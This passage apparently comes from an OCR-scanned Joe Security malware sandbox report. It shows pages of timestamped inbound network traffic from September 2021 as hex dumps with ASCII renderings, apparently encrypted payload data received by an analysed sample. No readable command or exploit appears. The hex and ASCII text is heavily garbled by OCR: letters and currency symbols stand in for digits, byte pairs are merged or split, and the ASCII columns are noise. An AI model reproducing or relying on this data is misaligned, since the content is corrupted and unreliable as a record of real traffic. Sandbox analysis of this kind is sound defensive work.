2021-09-13 23:07:18 UTC 202 IN Data Raw: b0 05 1a ad 60 ae ee 82 c6 56 bb da 7b 68 67 83 06 14 €3 5a 3b fa a2 05 6b b3 Ob 16 20 a7 50 b6 e3 01 32 a4
fe 77 90 d7 3d 61 ad 54 93 b1 02 1e al b8 a9 d0 70 3d f4 Ob 87 6e 18 13 a6 61 ab 01 a3 5b dc ac 83 2e fb 57 b2 5d 19 cO
d5 08 af a4 fb c4 96 8c Oc ad db 40 f8 39 18 86 5b 74 7 3¢ 4f 97 €9 7a Ob a3 56 3f 8d 41 9e 36 8b 42 aa 51 d1 b8 34 4d
€7 ¢4 69 d4 3b b9 97 c3 ab 1b bd 8e 10 84 ed 18 1b 07 27 ea 7c el f7 30 01 Ob 7d Ob 62 3e f5 5b 55 87 25 cd 6b 0f b3 81
16 37 fe 07 56 53 c1 61 a2 b1 c0 5b f1 06 fe ae ce 2b 43 ac €9 66 4e 14 b2 9c d7 c9 9e b2 77 5e a5 c7 12 ff Oe 42 fd {7 e7
10 6f fe 83 ea eb 3c de 86 ¢6 c7 c6 4e 80 65 1d 31 7e 6d 47 27 bc da ad d8 72 8e 48 76 eb 1e c2 f0 6¢ 80 7d 25 07 46 81
0d a3 22 78 5b fd 1d 46 59 6e b4 Oc 1f d8 13 d6 77 9b
Data Ascii: "V{hgZ;k P2w=aTp=na[.W]@9[t<O0zV?A6BQ4Mi;'|0}b>[U%k7VSa[+CINw Bo<Nel~mG'rHvI}%F"x[FYnw

2021-09-13 23:07:18 UTC 203 IN Data Raw: al aa 7e c9 aa 30 a0 86 4e 25 ea 4a 12 3d 07 28 ea 40 Oe a2 48 90 65 0d d1 27 10 d7 90 f1 b5 36 25 a7 bd d7
e2 a4 98 fb 79 4e ca 7e 58 86 6d 37 d9 f2 92 5¢ 3c Ob 26 31 7e 14 28 1e 43 36 Ob 2b 70 62 82 e8 e9 21 56 ee 4c 08 26 ba
ed f9 ca a0 54 68 8d 8c 76 19 c2 02 45 8a 77 97 19 66 26 c4 4c dc f1 55 28 af ec 6e d7 2b 7c 9d 43 e9 33 {3 b1 25 d4 6e
9c c5 d3 62 e0 34 8a 64 99 f7 f2 13 7a a3 81 f5 f7 e8 be 25 29 a3 02 87 db 27 1e f1 68 87 60 84 7a fe fe 18 09 9e 53 77 b5
ff 66 4d a9 fe d1 87 5e 0f 67 dd 7b 18 17 cb 83 04 06 b9 dd ca dc 01 8d ea 2c d6 07 1a 3a 26 4a e4 81 63 c6 4c 72 Of 0d
06 1le 34 d9 82 ee 33 ¢5 74 13 94 97 7b 4c 86 61 50 4d cd 67 Of bc 84 ca 83 5d d2 08 f0 17 dc 05 6e 1b 8f 10 a7 8e 3e 39
41 0d f9 64 c23b 91 1b 18 78 al 59 7b c5 98 56 22 de
Data Ascii: ~ON%J=(@He'6%yN~Xm7\<&1~(C6+pb!VL&ThvEWf&LU(n+|C3%nb4dz%)'h zSwiMAg{,:&JcLr43t{LaPMg]n>9
Ad;xY{V"

2021-09-13 23:07:18 UTC 205 IN Data Raw: 7b 9b 85 67 58 e2 41 d8 d3 4c c1 1e c4 9b 61 7c 1f 28 31 62 d6 ¢8 27 1f 26 d1 58 1c 1c 78 9a a8 ef aa 60 b5
72 d0 81 08 80 50 f9 74 0f 3d 34 ac bb ef Ob 59 eb 48 a8 c1 ee ee b6 88 ee 30 5¢ ¢7 01 7b d5 4d f8 31 1c 3f 94 2b 53 14 5f
ac 55 46 86 43 b2 8d df 1d 31 71 cc Of 3b ff d0 69 3f cc 35 29 77 9f 26 56 ba b8 87 6d eb 40 6d 74 17 54 37 c6 2d 75 a2
34 42 a5 b7 d1 3e 40 df 8b 10 e2 10 d4 9e 67 01 ec 60 01 b4 d5 24 21 50 84 ed 55 5a d7 4d a0 96 6a a4 ff 4a d1 a0 c4 09
1b 1c d1 b7 bc al e2 7f 80 8b 2f 1d 2e b9 af 2d 83 aa be 11 8a el 4d ec c0 9a {7 bc ef f4 6¢ c1 10 36 8c 3a €3 b4 9d 41 3a
98 e4 59 9d e8 32 75 b1 96 95 fc 34 8d ae 78 60 2f b3 cd 5a Of 34 44 4d ad 75 00 d7 f2 51 c0 25 09 8a bd 6c b9 c9 40 ed
66 d7 1a c5 0a 01 8a 1a 0d 32 89 81 34 06 e7 bf 5f
Data Ascii: {gXALa|(1b'&XX rPt=4YHO{M1?+S_UFC1q;i?5)w&Vm@mtT7-u4B>@g $!PUZM]J/.-MI6:A:Y2u4x /Z4ADMuQ
%l@f24_

Copyright Joe Security LLC 2021 Page 57 of 91



kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 206 IN Data Raw: 83 b5 b1 Oa 3a 4f d3 5e ce f6 0a 38 df 53 2f a8 01 68 Oc 70 fO cd 00 64 8 c2 ac c4 f4 61 2b 55 5f a7 b7 30 53 f7
18 a5 48 08 63 b0 6d f7 c8 7f 6d aa 2b 48 Oe 74 f9 97 5 a7 16 f1 af 04 68 97 aa d8 b0 46 6e b0 f9 68 86 a0 49 Oe 44 37 8b
d5 d1 6b 23 08 c9 99 ad 4d 47 63 15 87 68 22 44 21 38 ff 7d 60 bf fa 48 a9 37 16 4 8f d4 73 82 21 f9 01 81 35 6¢ e4 Of df
fe 7b Of dd 88 40 2a dc 5b 6e 4b 9e 1f 28 cd ee cc 48 3c 68 €9 5f 5f 64 51 6b cf d1 19 17 92 fc Ob 4d 0f 15 6e 22 3 d9 69
af 04 9a d4 76 44 6¢c al 87 0f 3b 77 d1 46 ac 29 8c €9 1c 1e 23 3f ¢4 20 5b 44 Oe 00 56 ee b6 9b b7 e5 26 2e 8a a4 e2 6b
1f 9a fd 55 f5 e0 e4 3d 6a 8d 24 ef 1c 5b 1c 6e b9 45 2 39 63 ef e5 6e a5 fc 88 dd ec 09 c6 bd 40 da 8e 6¢ Of 27 21 48 4d
5f 63 bd 27 88 9b 22 5b d4 66 a7 e6 66
Data Ascii: :0"8S/hpda+U_0SHcmm+HthFnhID7k#MGch"D!8} H7s!5K@*[nK(H<h__dQkMn"ivDI;wF)#? [DV&.kU=j$[n
E9cn@I'"HM_c"[ff

2021-09-13 23:07:18 UTC 207 IN Data Raw: 99 42 51 96 94 6b 9a c2 2e ef 01 fd 75 4c 5f 15 da 18 ¢5 d9 30 dc 87 22 31 b4 2e d2 8e 78 3b 1d d1 a0 e0 d2
87 2b c4 76 d9 eb a3 44 1d 55 50 de 71 17 15 Ob ba 61 af 53 ce b6 89 32 69 2b bd 9a 20 3d b2 68 ef ca ec a4 5d 69 9c 70
59 75 b1 96 5¢ a7 26 4f 2c 68 90 8a fb 19 7a 3a 07 14 41 e7 f4 8a 83 0d ae b6 30 e8 9e bc 6¢ cb 4b 14 17 79 e4 d4 98 89
9892 02 0d 32 89 ae 14 80 e5 bf 2d f7 ee 1d 4e b7 fe 5a 5a 7c 6b 76 8c 95 1e 03 11 a2 d1 60 44 4a 9a d3 62 e5 1d bc 8b
b9 b5 09 4b e7 6f ce €3 57 c2 6b 69 €0 1e d4 e5 93 ca e5 c9 9c cd b7 50 35 92 8a 61 fd 29 45 74 Oc 1b 7e a2 0d 14 8d 13
50 81 ff 09 bf 31 cc a3 db 8b c2 ee 46 f2 04 88 db bc 15 80 cd 76 c3 91 bc 0a a7 23 37 99 37 d0 87 2a 4d 8a 93 €9 82 2a
ee a7 52 6¢ a5 57 fb 22 1b ca d4 63 ba 77 7a 13 c9 8c cb
Data Ascii: BQk.uL_0"1.x;+vDUPQgaS2i+ =h]ipYu\&0O,hz:A0IKy2-NZZ|kv' DIJbKoWkiP5a)Et~P1Fv#77*M*RIW"cwz

2021-09-13 23:07:18 UTC 208 IN Data Raw: c4 a4 e3 45 de f1 5a 77 be c1 4b al d4 4d f4 5f f4 9b a7 0d b8 9e d7 e6 6d 1c f1 82 dd 03 62 e5 53 66 ac 27 Ob
48 63 €9 d4 5e 2b 6a 8c al 2f b9 dO dd el 95 bb 8b dc a3 36 02 2e c6 15 e4 50 11 a3 b7 ea cf d8 87 8a 59 bf 5f a4 65 fb
b5 79 49 e4 d7 80 Ob 9e eb 6e a3 18 6¢ 53 ae db 1c 2d b9 1a f8 f1 2b c6 af 63 Of a6 2a bf 24 e6 56 b1 89 8d 93 68 eb €8
3a 78 80 3f 53 fa 1a 20 a7 6b eb f2 cd el bb 12 f4 7c 40 b9 1c 2a 67 95 c5 0f 9c 2d be 9e 20 e3 55 d3 71 08 91 1f 40 2f b1
53 4d 78 92 a5 87 bb 9d 5d d0 3f e6 c1 Oe Ob 6d 48 3a 55 68 e4 b4 fc a7 e3 44 73 f2 9¢ 5¢ el €9 ac €6 4c 78 b4 f3 d3 50
3e 38 51 5f ef c1 cc c6 ae 05 2d Of b5 56 74 7c 31 16 d3 d8 15 07 bf 64 b5 9a ef 6e 3c cb 29 Oc fb 58 f1 b0 4a d8 34 a6 e8
elfa 69 5ba5c963e0 7b 11 30353979 2d 54
Data Ascii: EZWKM_mbSf'Hc +j/6.PY_eyInlS-+c*$Vh:x?S k|@*g- Ug@/SMx]?mH:UhDs\LxP>8Q_-Vt|1dn<)XJ4i[c{059y-T

2021-09-13 23:07:18 UTC 210 IN Data Raw: a0 62 92 6f f4 a4 69 75 a7 2a 39 24 de 95 d6 3b bf a2 3b dO 10 45 9a 56 21 e9 76 3f bc 4b bb c9 b4 d2 ec 00
76 78 87 el 18 75 46 ec 68 d1 cb 22 df 3b 9f e7 01 63 3d 77 fd f6 6f 45 72 c4 2b 03 99 fe 16 10 03 c6 34 f2 a6 cd a9 14 9d
62 74 87 d6 4e f2 98 21 7c be ff 59 d7 3f 47 f6 36 dc 2c 13 aa 9c d2 a9 f2 41 4c cf 1a 5f 4e da 8d 07 cf d5 a8 Oe a2 11 42
11 17 9d 99 84 05 b0 60 7a 73 95 c4 f0 44 d3 b3 fe 92 85 4e 2b a7 89 57 33 Oc 80 86 28 b8 21 5b fe 32 e4 ¢6 b3 7f 53 e7
87 53 55 60 ba f8 8a 5 f5 dO
Data Ascii: boiu*9$;;EV!Iv?KvxuFh";c=woEr+4btN!|Y?G6,AL_NB zsDN+W3(![2SSU"

2021-09-13 23:07:18 UTC 210 IN Data Raw: b7 Oa 35 42 e3 01 fc 70 ae e3 76 f8 Oe 97 38 89 9d df c1 7ac5 af 63 c4 8b 12 47 19 cd bl 67 aa aa al ec 30 c1
b7 8f b4 3a 90 d8 3f 94 7f 5b d5 Oe 8e 8e 87 dc ae 99 bd b7 bl 0a 3a 9f 6¢ 33 d0 d6 c9 fd 1b c8 56 60 78 e5 32 fb 56 c7 08
44 14 57 Oa 6f f4 f9 3a 50 f2 c2 6e 26 01 82 28 b2 al 89 e7 4e f8 09 fb 1e 43 13 d4 3c 06 19 72 64 0a 58 92 84 5b 89 a5
be d1 10 27 c9 3a 04 Oe c5 86 38 24 48 fc c8 f7 d7 80 1a 65 31 14 96 45 fa 79 cd f0 99 e5 77 73 d2 e3 1f e8 6e 34 fa 4d 2k
cd 4a a2 70 98 Oa ca 54 7a 4f 08 40 67 14 75 21 44 58 7b 72 3e 67 16 €2 f1 68 2a a2 ed c7 32 66 79 a0 17 24 1e f4 2d a4
5f ed 06 4c 4b 7f 8b 7c 74 f1 3c 6e bd cd 6f 2e fe fe 70 f4 dd 14 3d aa 9e 3e 82 33 db 20 3c ¢4 a0 11 95 b1 b7 8a ae 17 2d
€047 7a d1 06 63 33 e7 c5 76 27 81 23 a7 {7
Data Ascii: 5Bpv8zcGgO0:?[:I13V x2VDWo:Pn&(NC<rdX[':88He1Eywsn4M+JpTzO@gu!DX{r>gh*2fy$-_LK]|t<no.p=>3 <-
Gzc3v'#

2021-09-13 23:07:18 UTC 211 IN Data Raw: 4d a5 9c 61 47 6¢ 1f 51 0f b7 aa 96 ac Od b8 Ob 18 5¢ 12 44 6f e2 70 99 e7 48 59 e5 19 Oa 3d 26 82 7d 25 3e
18 bb c3 df 8b 43 83 8b 64 be ec a5 1b 70 4e 8b 98 00 ce 00 94 Oa f3 ba 09 ec 60 03 22 50 ec 5d 50 28 6e 25 95 90 le 7c
84 cf el 77 b4 46 27 bf cb c5 b2 d1 9b 60 58 f3 25 2f 96 71 a4 d1 b9 e3 59 24 40 fc 54 19 44 4d 66 b9 53 92 ce 02 fc 01
5118 36 8c e6 1b 67 95 20 b0 20 73 d9 ad ba ad dc b1 ba 52 bf ba da b4 7d d3 40 b6 da 6e 9b b1 0f f2 ad Oc a9 3e 4a ae
6852 47 e4 83 e6 5a f5 9e ae 0d 4e 45 4e 48 18 59 81 87 35 89 33 4d 25 e7 35 b4 8a 54 1e 4e b7 ba db b2 2f 83 06 8b
19 93 86 10 28 22 60 b7 04 9b d3 b8 c6 f6 c1 05 44 2b ad 03 ec 67 12 c4 8a 09 4c e0 87 46 ef 8f 93 22 cc 8f ce e 6e 44
9f e0 d2 b5 0d b4 cd el 69 8a 76 a2 0d 12 18 07 8a 75 26 be
Data Ascii: MaGIQ\DopHY=&}%>CdpN "'P]P(n%|wF"X%/qY$@TDMfSQ6g sR}@n>JhRGZNENHY53M%5TN/(""D
+gLF"'nDivu&

2021-09-13 23:07:18 UTC 212 IN Data Raw: 2e a6 al 82 37 8d 60 43 6b e2 30 Oe 92 e2 9f 5a 16 fa Oe 36 31 7b 42 99 54 fc 34 a4 43 fd 6e ce ef 5a 9d 9b c9
db 5d 59 42 f6 Oc c2 11 44 ae bd b4 1c d3 2d 67 bc 5a el d0 e5 4d 57 €9 11 33 66 1a 77 8f 79 dd 1a b6 8b el 64 a3 bl 3b
14 92 ff 9a ed 5c ce d8 e9 dd 63 7a f0 70 f4 5d ba al cf 86 f5 cf 6e 90 dd 30 Oe 48 99 c8 3a 09 77 25 bc 5f 2e 75 78 52 aa
63 e7 12 a0 88 99 55 b5 39 6a b7 28 34 26 4d d4 c6 f3 73 71 35 27 60 d4 3e 84 c3 ae 03 b7 5a 2d 6¢ 98 01 cd 65 cd 77
65 72 ¢9 96 0d 03 5f 3a b4 4a 6e 19 25 9c 1f f6 aa 93 bc df 75 ca dd 58 e0 a6 cf 85 72 6e 9a fe 9d 5c ea 4a 7d b7 a5 8d
45 bc f7 04 ad 13 3b 19 2f 04 51 49 4f 98 54 bb 24 e2 78 1c 10 05 9b 9b e3 bc 45 7f 92 Oe 03 6b 43 d2 89 27 28 8b 1a a5
88 8f 38 75 8f 19 11 9c a4 b5 93 80 ef b9 9a 6f 1b 5b
Data Ascii: .7°Ck0Z61{BT4CnZ]YBD-gZMW3fwyd;\czp]nOH:w%_.uxRcU9j(4&Msq5">Z-lewer_:In%uXrn\J}E;/QIOT$
XEKC'(8uo[

2021-09-13 23:07:18 UTC 214 IN Data Raw: 68 6¢ 9b b8 5e 60 al 01 d3 7e ce c1 51 10 8f f9 49 72 19 15 cb 9f Ob e7 90 d5 7c 18 46 ff eb 94 6e 6b 96 56 15
2f e8 b5 d2 66 0d c2 55 f3 87 13 07 76 cb 34 92 e6 bf 5f €9 41 f9 78 6b f1 10 b7 3d 87 fc c9 f4 65 Of df 19 3b 65 92 80 60
€193 6¢c 84 el 14 33 63 f6 28 7b 9d b2 65 18 03 da d3 b4 80 fa 5 7a 1d ff 99 cf 1d Ob 29 35 3a 14 b0 0d af cc 84 65 4e
¢5 b5 7b 98 dc bc 49 f8 45 fe bb f9 4c 34 20 75 04 ab 7d b7 04 65 2a 41 ea ed b5 d1 47 a6 36 fa 60 d8 66 91 de a9 f2 41
4d 23 6f 90 e5 32 7e 07 27 6d 26 ca ae 1e 73 98 85 9c cf 84 05 14 61 7a 73 4e 02 ca fc ea d1 1f 90 01 8e 35 5 b0 a6 4d
4b 03 68 3b 50 3d 13 Oe b8 f9 91 el 1f 43 1b Oc 17 02 e9 72 49 cd 4d 33 e2 3e ¢6 80 d4 65 a7 34 b0 bc 12 89 07 8d 34 95
45 10 6a c8 08 Oc ec a9 81 80 90 e2 ad 70 f6 67 23
Data Ascii: hI*'~QIr|FnkV/fuv4_Axk=e;e’13c({ez)5:eN{IEL4 u}e*AG6 fAM#02~'m&sazsN5MKh;P=CrIM3>e44Ejpg#

2021-09-13 23:07:18 UTC 215 IN Data Raw: 54 d9 1e 64 70 c0 99 95 9e f6 53 37 27 60 d1 d2 03 17 43 8e e5 a5 d2 1f 63 aa dd 63 05 9b 11 7d 39 5e 08 df
83 2d cc fd 6 15 15 e0 24 05 aa 53 20 ¢8 8c e8 ¢8 c¢7 a5 16 c4 64 b6 68 77 32 6¢ df 94 5e 6d 9e 6e c5 cb 40 0a 43 fb 76
3f 42 d3 fb ff f2 d6 de 5b 13 2a db 7e 5f ad 87 94 e7 16 2d 79 f2 6f 7a 86 a0 01 b6 Ob 38 al ca ca 44 ba e4 cl eb f0 02 5b
5e 4f a4 19 4f Oe 70 4b 42 09 ea 15 98 c0 3a 04 41 41 14 de 29 ed e8 2e d2 1f e0 82 55 1b 47 55 64 3f 86 ad bb 65 7 e2
89 34 ea f6 c2 d9 69 9b f7 d2 6d fc fc f4 d1 76 87 83 9b 94 fO 1b 79 7f fc 56 10 99 dd 44 50 a0 3b 95 5d be 07 74 85 d9 d2
28 b9 65 8e 3c df c6 a8 c1 f9 2b d7 89 21 53 6a €6 8b bc 09 d7 bf 08 56 8a 38 bd 15 14 7e 50 d2 b6 1e 84 5e 81 e0 08 32
7e 5c e6 aa 31 97 81 4f 73 b0 b7 da 53 02 53 e2 19
Data Ascii: TdpS7"Ccc}9-$S dhw2l"mn@Cv?B[*~_-yoz8D[*OOpKB:AA).UGUd?edimvyVDP;]t(e<+!SjV8~P"2~\10sSS

2021-09-13 23:07:18 UTC 216 IN Data Raw: 08 cd 31 fd b2 e2 31 f8 ae eb 79 3c e9 a7 21 15 fa €9 91 f9 fa 43 f5 fe 85 12 18 52 81 0d d4 b2 b3 a3 19 0f 32
c8 0b da 92 28 83 c2 b7 e4 63 6¢ a3 01 86 ef 61 2¢ dc 8d 3a b0 ce fb d2 a6 e4 13 08 06 be 59 cc 05 c4 b7 83 e5 c2 9e 48
a9 73 b7 95 60 1f 68 56 67 cb d3 e4 ab 39 fb fe 3a 03 8¢ 4c¢ 50 fd 33 4e 08 Oc 0a 9a 58 75 06 65 f0 1e 74 ef c4 a4 3b fe 97
49 38 b3 a8 4c 5b 8e 83 fb dc Oc 82 5e ed da 38 cc 86 a2 e4 5e ba 5c a2 7 3e 72 72 8c ed b6 ff al 8b ca f7 0a 52 1le 84
al 5b 29 dc 46 1f 9e df a0 4c 6f 77 5d Oc 44 75 8b e6 48 59 53 Ob 86 66 fb b4 4f 7b 45 10 4c Of 5a cd 85 e7 1e 1f 8d 49 Oc
06 ab 84 el 36 84 9 96 1f 6¢ d9 b7 af 8f 18 8f d1 29 ca e7 85 43 Oe 18 fc 25 32 75 45 98 1c 73 50 d0 20 08 c1 61 a6 4d 47
€338 0d 2f 22 97 a6 39 03 cd 24 34 79 df d3
Data Ascii: 11y<!CR2(cla,:YHs 'hVg9:LP3NXuet;I8L["8M\>rrR[)FLow]DuHY SfO{ELZI6l)C%2uUESP aMG8/"9%4y

Copyright Joe Security LLC 2021 Page 58 of 91



kBytes
Timestamp transferred Direction Data

2021-09-13 23:07:18 UTC 217 IN Data Raw: 94 4c f0 65 20 b5 41 Oc 55 51 be ad 8d a6 e8 1d e0 2c 88 fe da ab 99 c0 3d 9d fe 90 fe 90 f3 20 7d Oa 3d 1f ac
98 el ba 20 37 68 8f ee 86 ea d5 a8 94 f0 7f 02 cb 15 24 e0 e3 8a 3d 9e 5d 97 4b 83 69 74 Oe 3e ce al ac 83 1f 47 4e 14
c657 36 11 9e e2 fa 5b dO 1 ed ff 2b 00 76 51 10 20 78 c7 42 00 20 77 d5 6a ce 7e 4b 23 e5 5¢ e2 3e fb 9e 09 9b 31 1a
ec 38 0b 4f 48 d9 ed 5c¢ 0d 43 6f 7d 2d a8 82 65 89 33 a4 4e 8b 47 cc 5d 9b eb bf 6b 16 08 8b 1b 4f 8b 9d 5a 55 4b bl e6
139d 8a 34 d1 ec 9591 53 17 75 fd 93 4d f7 19 84 34 09 74 68 5f 86 4c bl ec d1 3d 75 67 92 1b 87 48 cd 0Oa 8 45 96 55
52 Oe 81 6a 93 e0 3b 8e a5 27 38 21 4e b6 e5 d4 11 36 7c 6d e3 3e 98 42 3c 99 e4 96 d7 b8 51 86 ff 20 10 3a 26 c1 d4 95
6f 8¢ 65 4a d4 ef 7d 3d 59 67 a3 c0 28 cb 74 8 62 53
Data Ascii: Le AUQ,= }= 7h$=]Kit>GNW6[+vQ XB wj~K#>180H\Co}-e3NG]kOZUK4SuM4th_L=ugHEUR};'8!N6|m>B<Q
:&oeJ}=Yg(thS

2021-09-13 23:07:18 UTC 219 IN Data Raw: 46 7f 7d a0 b3 bc 1c c8 78 ca 9e 7b 43 5f 8b €6 90 2e 9d 8e 65 91 12 44 be e0 46 db fc 5a 6b al 6b 61 fb bf 52
55 c7 db 73 9f 7a ca el ac 5a 68 ed dd d2 ee 80 24 8e 76 65 3f c1 17 2f 9f af 5a 4e 4d Of 95 43 f5 be 69 bc f4 d7 4c 89 78
24 c9 31 9e 6b 4b 10 fc 76 42 2e ab c2 al 78 bc f1 1e ae c5 60 5b 47 37 ff e3 1c ca 85 42 01 cf 9a 78 72 41 ¢3 00 af 67 6d
93 e6 3d c5 a5 71 54 d1 09 ad 8c c5 b7 84 el 8b 67 Of 5f 3¢ 99 9c bd b1 d5 42 aa f7 28 ea 61 7a ca 4b 6e 93 bc 27 92 81
66 la 7a 3c 9e d1 5f 5f 6a 70 ef 83 50 69 c6 6f 83 fd 26 84 50 03 5b cb db 69 72 fd fc a3 14 d7 7a 56 58 82 b6 e4 9a c1 ac
5f ee 6a f7 d1 1c be 41 49 26 42 Oe f0 03 65 5a 77 8b 89 d8 d1 75 26 6¢ f4 cO Of 36 cO c9 7a 92 e7 ac c8 d8 eb c7 5b b5
eb cd 74 f2 08 0d ef e5 6e b8 14 80 f9 29 84
Data Ascii: F}x{C_.eDFZkkaRUszZh$ve?/ZNMCIiLx$1kKvB.x [G7BxrAgm=qTg_<B(azKn'fz<__jpPio&P[irzVX_jAl&Be
Zwu&l6z[tn)

2021-09-13 23:07:18 UTC 220 IN Data Raw: 57 c7 95 66 83 ff ca 0a 1le ca 43 b0 59 ab 1a 26 €6 8a 3d c6 c7 8d 62 d9 93 e5 c6 68 dc 75 5e 77 61 8c 0d e4
d8 b6 6a ad c9 95 c0 c6 39 71 33 92 cc 4b 15 98 Oc 09 dO e0 2e 48 54 fe 40 6e a3 68 66 4a 79 81 d3 bd 70 2a b2 3f 5f cd
7456 41 d8 31 0Of bb 7f fc ce 66 85 66 88 al bd ea d8 b7 62 91 24 f5 16 46 da c3 2c 32 b9 8b 2d dc c5 e4 c9 5e 88 22 b5
cb f4 41 ad el 57 82 0d ae 55 a5 ce ec Oe Oa ae fc 94 16 79 4a d0 88 9c 41 5f f3 7f a5 89 b9 4e 9a 59 bc 5e 9d 13 29 b1
44 39 1f cc 78 e6 f3 e4 e7 6¢ 20 28 18 d2 8a d0 03 9a 50 2a 95 82 7a a9 32 63 dd 28 45 d5 b0 65 78 0d 6¢ 52 d1 cb bb e5
92 47 a8 77 27 6b 1c ff 9c 3c 12 04 d3 3e 15 74 cc 73 68 a2 09 61 aa 91 4d fc 47 42 b3 77 a0 6¢ 24 74 54 20 74 7b b1 b0
c2 fb 58 f8 €9 bf 02 55 bd 31 60 a8 46 53 9a 5a f3 dd 8e
Data Ascii: WICY&=bhu*waj9q3K.HT@nhflyp*?_tVAlffb$F,2-""AWUyJA_NY?)DIxI (P*z2c(EexIRGw'k<>tshaMGBwI$tT
H{XUL'FSZ

2021-09-13 23:07:18 UTC 221 IN Data Raw: Oa d6 05 64 f5 89 ac be 98 2b 53 d8 1c 56 9e bc a9 44 58 5¢ bl bd f4 ec f3 ¢2 24 43 4a 1e 28 cd €0 0d 72 51
76 el 5d 5f e1 51 b5 7b 34 Oe 52 6d 83 89 b3 8¢ 62 €6 41 12 ac 1b bb 8f Ob a2 00 c1 1f cb 3d 7d 49 e4 €9 3c 01 5f ee 6a
e26a 12 10 9c 65 58 44 7c 9a 5e 17 49 ec al 41 30 01 b0 b1 6¢c 17 12 a2 35 0Ob ¢5 9d ff 2¢ 1d 94 be 2¢ d4 19 33 93 75 68
ec 8b 1d a3 f0 21 9f 6b 7a ab 9d 87 4c 98 8b 30 el el 09 b8 b4 5d f5 1f 50 34 cf 40 al ca 8c 9c {7 2a e6 37 c7 f1 4b d8 ac
b0 6d a3 61 ba ba a9 f6 6b 65 a4 ce f3 88 3c f7 98 a9 97 9e fa 7f d4 e3 4e 55 1b c0 00 6f a9 5b 54 88 33 Of 8e 6a 8d 7e e5
8f 8f 9e d0 86 74 4d b5 78 f9 5b b2 43 c3 f6 c4 61 48 €5 Oc 59 66 d3 6e Ob 58 bc 2d 1f 55 bf 7c b5 92 57 1a 43 ff dc 95 e3
1fd3 88 1b 46 7 6d 3f 91 40 84 4f b9 42 ca 35
Data Ascii: d+SVDX\$CJ(rQv]_Q{4RmbA=}I<_jjeXD|IAO0I5,,3uh!kzL0]P4@*7Kmake<NUo[T3j~tMx[CaHY fnX-U|WCFm?
@OB5

2021-09-13 23:07:18 UTC 223 IN Data Raw: 7c 6a b1 6¢ b9 4d b8 2e c3 e7 51 4e cb 8 c¢7 bc 0f 32 ¢8 be 27 3a 18 cb 68 €9 44 0a Ob 8a c4 €0 2b f5 5f 8d 73
e7 55 9a 13 55 c6 44 64 fe 65 62 87 5a 4c 24 9f 02 87 bd 07 ef 3 f4 4a 8a 69 92 b8 0d dO f9 7d 2b ca 13 4b ff d2 f2 90 21
ee 65 41 4d 6a cf b4 11 2c 6f d0 a7 Oe dd a6 d4 fc 8f 2a ce 43 4f b4 94 b4 f9 54 37 67 d8 98 d5 be 61 cd fe 1d 85 5b 42 81
7157 8a 7d 84 6b 0f d4 42 5d e3 d5 c1 9d 06 43 f4 62 b4 8b 1d b5 e4 63 Oe 11 70 86 ef 13 57 ed 43 49 5a e6 32 e3 a4 59
1d 7f 40 33 4d be 56 41 b6 7f {2 6f cd 7b ab 01 cd 30 12 3c 6b f9 15 6e 0d cc 16 00 89 94 11 8d ef 4c 08 b8 56 74 35 Oe
0a 36 4d d2 8d 46 94 17 cc el 01 ae 4f 01 9b 69 34 8a 12 54 51 42 24 91 f2 ef 31 3e 84 67 68 c9 f1 49 1e 07 7a e9 d1 48
db 3e 83 48 a8 2f ff 42 25 e6 ac ca c7 e0 09 34
Data Ascii: |jIM.QN2":hD+_sUUDdebZL$Ji}+K!eAMj,0*COT7ga[BqW}kB]CbcpWCIZ2Y @3MVA0{0<knLVt56MFOIi4ATQB$1>
ghlzH>H/B%4

2021-09-13 23:07:18 UTC 224 IN Data Raw: 8d 64 5e b3 80 83 f1 ac 89 8d e7 ac 1c 52 89 23 57 2f 3f fa 44 2c 26 94 €9 3b Oe 34 45 f3 fc 53 36 fa 1a f0 69
98 b4 02 ee 8b 72 2c 04 b1 06 2c 84 75 0b 94 96 56 11 50 e4 99 c2 c9 f5 ee 1c 66 57 b2 €6 87 04 f2 e4 05 c2 84 4e 71 74
9d de 43 43 07 d8 d8 5d 93 19 b0 4e e5 78 34 9e cc a7 Ob d3 cf 64 96 72 7a 3e 12 ab 2d 85 cb 8e ae 11 16 e5 2c 27 c6
4e 26 07 3d 91 ef 93 c3 ad 92 f3 fd 90 91 c0 e0 d3 al bl 7e ed 21 e5 87 b2 74 90 e0 43 1a cc b2 Ob 7f ed 34 12 99 ca b5
ae d0 41 88 2d c5 06 db 92 a4 62 ad bb cc b9 da 89 7a 57 b3 9c ca 4c 88 21 27 17 fa a5 64 56 89 bd 35 52 02 ac 40 ea eb
e7 1le e7d9 7b 3d al 81 8a 21 cf 81 69 87 07 cc 68 96 cf ed 3d 32 05 9d 26 fa 4a 25 d6 83 da f8 3d af a4 67 d8 bc Oe Oe
8d 31 eb 55 cf 2b 5b 7f 58 cd 9b 9b aa 21 el 26 00 9e Oa
Data Ascii: d*"R#W/?D,&;4ES6ir,,uVPfWNQgtCC]Nx4drz>-,'N&=~1tC4A-bzWL!'dV5R@{=!ih=2&J%=g1U+[X!&

2021-09-13 23:07:18 UTC 225 IN Data Raw: a5 55 3e 1a f6 57 8b 54 da 92 5a e6 19 e2 e6 63 09 11 03 87 ef 13 49 7e 94 3a b0 ab 42 b0 a7 e4 61 6d eb eb
5b cc 4e Oc a7 7b f2 18 b8 2f fc 03 cd 30 12 34 6¢ f9 15 6e dc a6 16 00 89 8c 51 8a ef 4¢ 6b f4 14 9b 08 7e 78 20 el 76 f8
65 8b 7a 74 ef Of ac a0 0d ec db 2c 22 fd 5a ae fc 7b 2b df 20 82 c3 16 8f 16 cc 7e b7 2f 71 c8 e6 d2 ff fc 96 8d 05 a0 28
al 92 8f 87 bd Oa 3a 1f 84 68 18 83 42 92 5¢ 34 d3 a8 c9 94 a2 70 1a 84 b5 fe 10 a7 99 4d 01 6¢ 1b 67 4b b6 3a 1d d6 cO
24 68 05 4c 24 6 1f 92 07 e2 11 ef 38 b5 ¢9 70 8d d5 0a 58 19 a2 9c df b6 81 df af 3a 25 Of 1e da 1c 24 8d 55 d7 Oa Of 31
a7 9b 97 20 85 cc 34 f0 81 78 00 23 89 el 67 3b 56 04 f2 4f b3 73 fa 14 d2 e2 3d 5c 8f 3e 94 04 bb b9 8c Oc c5 e 33 f5 56
6a e0 84 a4 25 e4 d0 30 el 68 4e 47 7a 5d bf
Data Ascii: U>WTZcl~:Bam[N{/04InQLk~x vezt,"Z{+ ~/q(:nB\4pMIgK:$ShL$8pX:%$U1 4x#g;VOs=\>3V|%0hNGZ]

